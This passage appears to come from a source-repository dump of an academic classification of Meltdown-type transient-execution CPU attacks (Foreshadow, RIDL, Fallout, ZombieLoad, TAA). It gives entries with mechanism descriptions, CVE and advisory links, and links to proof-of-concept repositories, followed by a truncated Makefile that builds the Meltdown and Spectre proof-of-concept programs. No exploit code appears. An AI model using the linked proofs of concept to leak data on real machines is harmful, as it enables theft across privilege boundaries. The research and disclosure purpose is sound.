\"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 45,\n        title: \"Meltdown-US-LP\",\n        father: 16,\n        description: \"Intel explains that faulting loads which span a 64-byte cacheline boundary may leak data from the processor's load ports.\",\n        todo: \"We encourage experimentation to confirm the possibility of reading CPU load port data through U/S exceptions.\",\n        sources: [\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Microarchitectural Load Port Data Sampling (MLPDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12127\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12127\"\n        }],\n        color: color.todo\n    },\n    {\n        id: 46,\n        title: \"Meltdown-P-L1\",\n        alias: \"Foreshadow\",\n        img: \"foreshadow.svg\",\n        father: 17,\n        description: \"Meltdown-P-L1 exploits an “L1 Terminal Fault” (L1TF) microarchitectural condition when accessing unmapped pages. A terminal page fault occurs when accessing a page-table entry with either the “present” bit cleared or a “reserved” bit set. In such cases, the CPU immediately aborts address translation. However, since the L1 data cache is indexed in parallel to address translation, the page table entry’s physical address field (i.e., frame number) may still be passed to the L1 cache. Any data present in L1 and tagged with that physical address will now be forwarded to the transient execution, regardless of access permissions.</p>Foreshadow was initially demonstrated against Intel SGX technology, and a generalized form of the attack allows an attacker to bypass operating system or hypervisor isolation. This variation allows an untrusted virtual machine, controlling guest-physical addresses, to extract the host machine’s entire L1 data cache (including data belonging to the hypervisor or other virtual machines). The underlying problem is that a terminal fault in the guest page-tables early-outs the address translation process, such that guest-physical addresses are erroneously passed to the L1 data cache, without first being translated into a proper host physical address.</p>\",\n        sources: [\n            sources[\"VanBulck2018\"],\n            sources[\"Weisse2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n                title: \"https://github.com/IAIK/transientfail\",\n                url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/P\"\n            },\n            {\n                title: \"https://github.com/jovanbulck/sgx-step/\",\n                url: \"https://github.com/jovanbulck/sgx-step/tree/master/app/foreshadow\"\n            }\n        ],\n        names: [\n            {\n                title: \"Foreshadow, Foreshadow-NG\",\n                url: \"https://foreshadowattack.eu/\"\n            },\n            {\n                title: \"L1 Terminal Fault (L1TF)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-l1-terminal-fault\",\n            }\n        ],\n        cve: [{\n                title: \"CVE-2018-3615\",\n                url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-3615\"\n            },\n            {\n                title: \"CVE-2018-3620\",\n                url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-3620\"\n            },\n            {\n                title: \"CVE-2018-3646\",\n                url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-3646\"\n            }\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/l1-terminal-fault\"\n            },\n            {\n                title: \"IBM\",\n                url: \"https://www.ibm.com/blogs/psirt/potential-impact-processors-power-family/\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 47,\n        title: \"Meltdown-P-LFB\",\n        alias: \"RIDL\",\n        img: \"mds.svg\",\n        father: 17,\n        description: \"RIDL leaks in-flight data from the line-fill buffer (LFB) by exploiting faulting loads on non-present addresses. If the least-significant 6 bits of the non-present virtual address match a virtual address of data currently stored in the LFB, then this data can be leaked. Any data travelling between the L1 cache and the remaining memory subsystem has to go through the LFB and can be leaked with RIDL.\",\n        sources: [\n            sources[\"VanSchaik2019\"],\n            sources[\"Schwarz2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Rogue In-flight Data Load (RIDL)\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Fill Buffer Data Sampling (MFBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12130\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12130\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        color: color.works\n    },\n    {\n        id: 48,\n        title: \"Meltdown-P-SB\",\n        alias: \"Fallout\",\n        img: \"mds.svg\",\n        father: 17,\n        description: \"Fallout exploits the fact that faulting loads due to a non-present page fault can pick up previously stored values from the store buffer if the least-significant 12 bits of the virtual addresses match.\",\n        sources: [\n            sources[\"Canella2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Fallout\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Store Buffer Data Sampling (MSBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ], \n        cve: [{\n            title: \"CVE-2018-12126\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12126\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 49,\n        title: \"Meltdown-P-LP\",\n        alias: \"RIDL\",\n        img: \"mds.svg\",\n        father: 17,\n        description: \"Intel, the RIDL paper, and Brandon Falk describe that faulting loads which span a 64-byte cacheline boundary may leak data from the processor's load ports.\",\n        sources: [\n            sources[\"Falk2019\"],\n            sources[\"VanSchaik2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Rogue In-flight Data Load (RIDL)\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Load Port Data Sampling (MLPDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12127\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12127\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        color: color.works\n    },\n    {\n        id: 50,\n        title: \"Meltdown-CPL-REG\",\n        alias: \"v3a\",\n        father: 15,\n        description: \"Meltdown-CPL-REG allows an attacker to read privileged system registers. It was first discovered and published by ARM and subsequently Intel determined that their CPUs are also susceptible to the attack. Accessing privileged system registers (e.g., via <code>rdmsr</code>) raises a general protection fault (#GP) when the current privilege level (CPL) is not zero. Similarly to previous Meltdown-type attacks, however, the attack exploits the fact that the transient execution following the faulting instruction can still compute on the unauthorized data, and leak the system register contents through a microarchitectural covert channel.\",\n        sources: [\n            sources[\"ARM2018\"],\n            sources[\"Intel2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/GP\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/rogue-system-register-read\"\n            },\n            {\n                title: \"ARM\",\n                url: \"https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability\"\n            }\n        ],\n        names: [\n            {\n                title: \"Variant 3a\",\n            },\n            {\n                title: \"Rogue System Register Read (RSRR)\",\n                url: \"https://software.intel.com/security-software-guidance/api-app/sites/default/files/336983-Intel-Analysis-of-Speculative-Execution-Side-Channels-White-Paper.pdf\"\n            }\n        ], \n        cve: [{\n            title: \"CVE-2018-3640\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-3640\"\n        }],\n        color: color.works\n    },\n    {\n        id: 51,\n        title: \"Meltdown-NC-SB\",\n        alias: \"Fallout\",\n        img: \"mds.svg\",\n        father: 15,\n        description: \"Meltdown-NC-SB abuses #GP exceptions from non-canonical addresses to read data from the store buffer.\",\n        todo: \"We encourage investigation of using non-canonical loads to leak data from other buffers.\",\n        sources: [\n            sources[\"Canella2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Fallout\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Store Buffer Data Sampling (MSBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ], \n        cve: [{\n            title: \"CVE-2018-12126\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12126\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        color: color.works\n    },\n{\n        id: 59,\n        title: \"Meltdown-AVX\",\n        father: 15,\n        description: \"Meltdown-AVX abuses #GP exceptions caused by misaligned AVX vector load instructions. According to Intel, faulting or assisting vector SSE/AVX loads that are more than 64 bits in size may leak data.\",\n        color: color.works,\n        sources: [\n            sources[\"IntelMDS\"],\n            sources[\"Canella2019\"],\n            sources[\"RIDLAddendum1\"],\n        ],\n        color: color.group\n},\n{\n        id: 65,\n        title: \"Meltdown-AVX-SB\",\n        alias: \"Fallout\",\n        img: \"mds.svg\",\n        father: 59,\n        description: \"Meltdown-AVX-SB abuses #GP exceptions caused by misaligned AVX load instructions to read data from the store buffer.\",\n        sources: [\n            sources[\"Canella2019\"],\n        ],\n        names: [\n            {\n                title: \"Fallout\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Store Buffer Data Sampling (MSBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12126\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12126\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        color: color.works\n    },\n{\n        id: 66,\n        title: \"Meltdown-AVX-LP\",\n        alias: \"RIDL\",\n        img: \"mds.svg\",\n        father: 59,\n        description: \"Meltdown-AVX-LP abuses #GP exceptions caused by misaligned AVX load instructions to read data from the load ports.\",\n        sources: [\n            sources[\"RIDLAddendum1\"],\n            sources[\"Falk2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Rogue In-flight Data Load (RIDL) Addendum\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Load Port Data Sampling (MLPDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12127\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12127\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        color: color.works\n    },\n    {\n        id: 52,\n        title: \"Meltdown-MCA\",\n        text_bottom: \"fault/assist type\",\n        father: 3,\n        description: \"To support more complex instructions, microcode enables higher-level instructions to be implemented using multiple hardware-level instructions. This allows processor vendors to support complex behavior and even extend or modify CPU behavior through microcode updates. While the execution units perform the fast-paths directly in hardware, more complex slow-path operations, such as faults or page-table modifications, are typically performed by issuing a microcode assist which points the sequencer to a predefined microcode routine. This microcode assist triggers a machine clear, which flushes the pipeline. On a pipeline flush, instructions which are already in flight still finish execution, which can leak, producing a Meltdown effect.</p>Microcode assists can be caused by a variety of conditions, and have been abused to leak data from a range of buffers. Our extensible classification therefore splits Meltdown-MCA further based on the specific microcode assist and targeted microarchitectural buffer.\",\n        todo: \"We encourage exploration of other microcode assist triggers.\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"Canella2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        color: color.group\n    },\n    {\n        id: 53,\n        title: \"Meltdown-AD\",\n        img: \"pte-ad.svg\",\n        father: 52,\n        description: \"If a page-table walk requires an update to the accessed or dirty bits in one of the corresponding page-table entries, it falls back to a microcode assist. Such microcode-assisted page table walks have been abused to extract data from different buffers. We therefore categorize Meltdown-AD further by the leakage source.\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"Canella2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        color: color.group\n    },\n    {\n        id: 54,\n        title: \"Meltdown-AD-L1\",\n        father: 53,\n        description: \"Attackers might attempt to abuse A/D microcode assists to read cached L1 data, but we have not experimentally confirmed that this is possible.\",\n        todo: \"We encourage investigation of reading L1-cached data through A/D microcode assists.\",\n        color: color.todo\n    },\n    {\n        id: 55,\n        title: \"Meltdown-AD-LFB\",\n        alias: \"ZombieLoad v3\",\n        img: \"zombieload.svg\",\n        father: 53,\n        description: \"ZombieLoad uses various architectural and microarchitectural faults to leak data from the fill buffers. In contrast to Meltdown-US-L1, only the least-significant 6 bits of the virtual address can be used to address the data, thus giving less control over which data is leaked. However, this allows ZombieLoad to cross all privilege boundaries (user-to-user, kernel, Intel SGX, VM-to-VM, VM-to-hypervisor). In this variant, the exploited fault is the microcode assist required for setting the accessed or dirty bit in a page-table entry.\",\n        sources: [\n            sources[\"Schwarz2019\"],\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/ZombieLoad\",\n            url: \"https://github.com/IAIK/ZombieLoad/tree/master/attacker/variant2_windows\"\n        }],\n        names: [\n            {\n                title: \"ZombieLoad\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"Microarchitectural Fill Buffer Data Sampling (MFBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12130\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12130\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 56,\n        title: \"Meltdown-AD-SB\",\n        alias: \"Fallout\",\n        img: \"mds.svg\",\n        father: 53,\n        description: \"Fallout exploits the fact that faulting loads can pick up previously stored values from the store buffer if the least-significant 12 bits of the virtual address match. This variant exploits the fact that setting the accessed or dirty bit in the page-table entry leads to a microarchitectural fault in the form of a microcode assist.\",\n        sources: [\n            sources[\"Canella2019\"]\n        ],\n        names: [\n            {\n                title: \"Fallout\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Store Buffer Data Sampling (MSBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ], \n        cve: [{\n            title: \"CVE-2018-12126\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12126\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 57,\n        title: \"Meltdown-AD-LP\",\n        father: 53,\n        description: \"Attackers might attempt to abuse A/D microcode assists to read CPU load port data, but we have not experimentally confirmed that this is possible.\",\n        todo: \"We encourage investigation of reading CPU load port data through A/D microcode assists.\",\n        sources: [\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Microarchitectural Load Port Data Sampling (MLPDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12127\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12127\"\n        }],\n        color: color.todo\n    },\n        {\n        id: 60,\n        title: \"Meltdown-TAA\",\n        father: 52,\n        description: \"Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the fill buffer, store buffer, and load ports.\",\n        alias: \"ZombieLoad v2, RIDL\",\n        img: \"zombieload.svg\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"RIDLAddendum1\"],\n            sources[\"IntelTAA\"],\n        ],\n        names: [\n            {\n                title: \"TSX Asynchronous Aborts (TAA)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\"\n            },\n            {\n                title: \"ZombieLoad v2\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"Rogue In-flight Data Load (RIDL) Addendum\",\n                url: \"https://mdsattacks.com/\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2019-11135\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2019-11135\"\n        }],\n        color: color.group\n    },\n    {\n        id: 61,\n        title: \"Meltdown-TAA-LFB\",\n        father: 60,\n        description: \"Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the fill buffer.\",\n        alias: \"ZombieLoad v2\",\n        img: \"zombieload.svg\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"RIDLAddendum1\"],\n        ],\n        names: [\n            {\n                title: \"TSX Asynchronous Aborts (TAA)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\"\n            },\n            {\n                title: \"ZombieLoad v2\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"Rogue In-flight Data Load (RIDL) Addendum\",\n                url: \"https://mdsattacks.com/\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2019-11135\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2019-11135\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\"\n\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/ZombieLoad\",\n            url: \"https://github.com/IAIK/ZombieLoad/\"\n        },\n        {\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        color: color.works\n    },\n    {\n        id: 62,\n        title: \"Meltdown-TAA-LP\",\n        father: 60,\n        description: \"Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the load port write back data bus.\",\n        alias: \"ZombieLoad v2\",\n        img: \"zombieload.svg\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"RIDLAddendum1\"],\n            sources[\"Falk2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"TSX Asynchronous Aborts (TAA)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\"\n            },\n            {\n                title: \"ZombieLoad v2\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"Rogue In-flight Data Load (RIDL) Addendum\",\n                url: \"https://mdsattacks.com/\"\n            },\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\"\n\n            },\n        ],\n        cve: [{\n            title: \"CVE-2019-11135\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2019-11135\"\n        }],\n        poc: [{\n            title: \"https://github.com/IAIK/ZombieLoad\",\n            url: \"https://github.com/IAIK/ZombieLoad/\"\n        },\n        {\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        color: color.works\n    },\n    {\n        id: 63,\n        title: \"Meltdown-TAA-SB\",\n        father: 60,\n        description: \"Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the store buffer.\",\n        alias: \"ZombieLoad v2\",\n        img: \"zombieload.svg\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"RIDLAddendum1\"],\n        ],\n        names: [\n            {\n                title: \"TSX Asynchronous Aborts (TAA)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\"\n            },\n            {\n                title: \"ZombieLoad v2\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"RIDL Addendum\",\n                url: \"https://mdsattacks.com/files/ridl-addendum.pdf\"\n            }\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\"\n\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/ZombieLoad\",\n            url: \"https://github.com/IAIK/ZombieLoad/\"\n        },\n        {\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        cve: [{\n            title: \"CVE-2019-11135\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2019-11135\"\n        }],\n        color: color.works\n    },\n    {\n        id: 72,\n        title: \"Meltdown-PRM-LFB\",\n        father: 52,\n        alias: \"ZombieLoad v4\",\n        img: \"zombieload.svg\",\n        description: \"SGX-enabled processors trigger a microcode assist whenever an address translation resolves into SGX's Processor Reserved Memory (PRM) area and the CPU is outside enclave mode. While this ensures that the load instruction always reads 0xff at the architectural level, we found however that unauthorized line-fill buffer entries accessed by the sibling logical core may still be transiently dereferenced before abort page semantics are applied.\",\n        todo: \"We encourage investigation of using SGX processor-reserved memory to leak data from other buffers.\",\n        sources: [\n            sources[\"Schwarz2019\"],\n        ],\n        names: [\n            {\n                title: \"ZombieLoad v4\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"Microarchitectural Fill Buffer Data Sampling (MFBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12130\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12130\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/ZombieLoad/\",\n            url: \"https://github.com/IAIK/ZombieLoad/tree/master/attacker/variant4_linux\"\n        }],\n        color: color.works\n    },\n    {\n        id: 73,\n        title: \"Meltdown-UC-LFB\",\n        father: 52,\n        alias: \"ZombieLoad v5\",\n        img: \"zombieload.svg\",\n        description: \"The ZombieLoad paper includes a variant that uses a memory page which is marked as uncacheable. As the page-miss handler issues a microcode assist when page tables are in uncacheable memory, we can leak data from the line-fill buffer. Likewise, the original Meltdown paper includes an experiment to leak victim data which is marked as uncacheable.\",\n        todo: \"We encourage investigation of using uncacheable memory pages to leak data from other buffers.\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"Lipp2018\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"ZombieLoad v5\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling Uncacheable Memory (MDSUM)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2019-11091\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2019-11091\"\n        }],\n        color: color.works\n    },\n];\nvar current_data = data;\n"
  },
  {
    "path": "pocs/Makefile",
    "content": "all: libcache/cacheutils.h libpte/libpte.a meltdown/US meltdown/P meltdown/RW meltdown/NM meltdown/GP meltdown/PK meltdown/DE meltdown/SS meltdown/UD meltdown/AC meltdown/BR spectre/pht/sa_ip spectre/pht/sa_oop spectre/pht/ca_ip spectre/pht/ca_oop spectre/btb/sa_ip spectre/btb/sa_oop spectre/btb/ca_ip spectre/rsb/sa_ip spectre/rsb/sa_oop spectre/rsb/ca_ip spectre/rsb/ca_oop spectre/stl\n\nlibcache/cacheutils.h: libcache/cache.h libcache/cache.c \n\tcd libcache  && make\n\nlibpte/libpte.a:\n\tcd libpte && make\n\nmeltdown/US: meltdown/US/main.c libpte/libpte.a libcache/cacheutils.h\n\tcd meltdown/US && make\n\nmeltdown/P: meltdown/P/main.c libpte/libpte.a libcache/cacheutils.h\n\tcd meltdown/P && make\n\nmeltdown/RW: meltdown/RW/main.c libpte/libpte.a libcache/cacheutils.h\n\tcd meltdown/RW && make\n\nmeltdown/NM: meltdown/NM/main.c meltdown/NM/victim.c meltdown/NM/secret.h libcache/cacheutils.h\n\tcd meltdown/NM && make\n\nmeltdown/GP: meltdown/GP/main.c meltdown/GP/module/kernel_module.c libcache/cacheutils.h\n\tcd meltdown/GP && make\n\nmeltdown/PK: meltdown/PK/main.c libcache/cacheutils.h\n\tcd meltdown/PK && make\n\nmeltdown/DE: meltdown/DE/main.c libcache/cacheutils.h\n\tcd meltdown/DE && make\n\nmeltdown/SS: meltdown/SS/main.c libcache/cacheutils.h\n\tcd meltdown/SS && make\n\nmeltdown/UD: meltdown/UD/main.c libcache/cacheutils.h\n\tcd meltdown/UD && make\n\nmeltdown/AC: meltdown/AC/main.c libcache/cacheutils.h\n\tcd meltdown/AC && make\n\nmeltdown/BR: meltdown/BR/main.c libcache/cacheutils.h\n\tcd meltdown/BR && make\n\nspectre/pht/sa_ip: spectre/PHT/sa_ip/main.c libcache/cacheutils.h\n\tcd spectre/PHT/sa_ip && make\n\nspectre/pht/sa_oop: spectre/PHT/sa_oop/main.c libcache/cacheutils.h\n\tcd spectre/PHT/sa_oop && make\n\nspectre/pht/ca_ip: spectre/PHT/ca_ip/main.c libcache/cacheutils.h \n\tcd spectre/PHT/ca_ip && make\n\nspectre/btb/sa_ip: spectre/BTB/sa_ip/main.cpp libcache/cacheutils.h\n\tcd spectre/BTB/sa_ip && make\n\nspectre/btb/sa_oop: spectre/BTB/sa_oop/main.c libcache/cacheutils.h\n\tcd spectre/BTB/sa_oop && make\n\nspectre/btb/ca_ip: spectre/BTB/ca_ip/main.cpp libcache/cacheutils.h\n\tcd spectre/BTB/ca_ip && make\n\nspectre/pht/ca_oop: spectre/PHT/ca_oop/main.c libcache/cacheutils.h\n\tcd spectre/PHT/ca_oop && make\n\nspectre/rsb/sa_ip: spectre/RSB/sa_ip/main.c libcache/cacheutils.h\n\tcd spectre/RSB/sa_ip && make\n\nspectre/rsb/sa_oop: spectre/RSB/sa_oop/main.c libcache/cacheutils.h\n\tcd spectre/RSB/sa_oop && make\n\nspectre/rsb/ca_ip: spectre/RSB/ca_ip/main.c libcache/cacheutils.h\n\tcd spectre/RSB/ca_ip && make\n\nspectre/rsb/ca_oop: spectre/RSB/ca_oop/main.c libcache/cacheutils.h\n\tcd spectre/RSB/ca_oop && make\n\nspectre/stl: spectre/STL/main.c libcache/cacheutils.h\n\tcd spectre/STL/ && 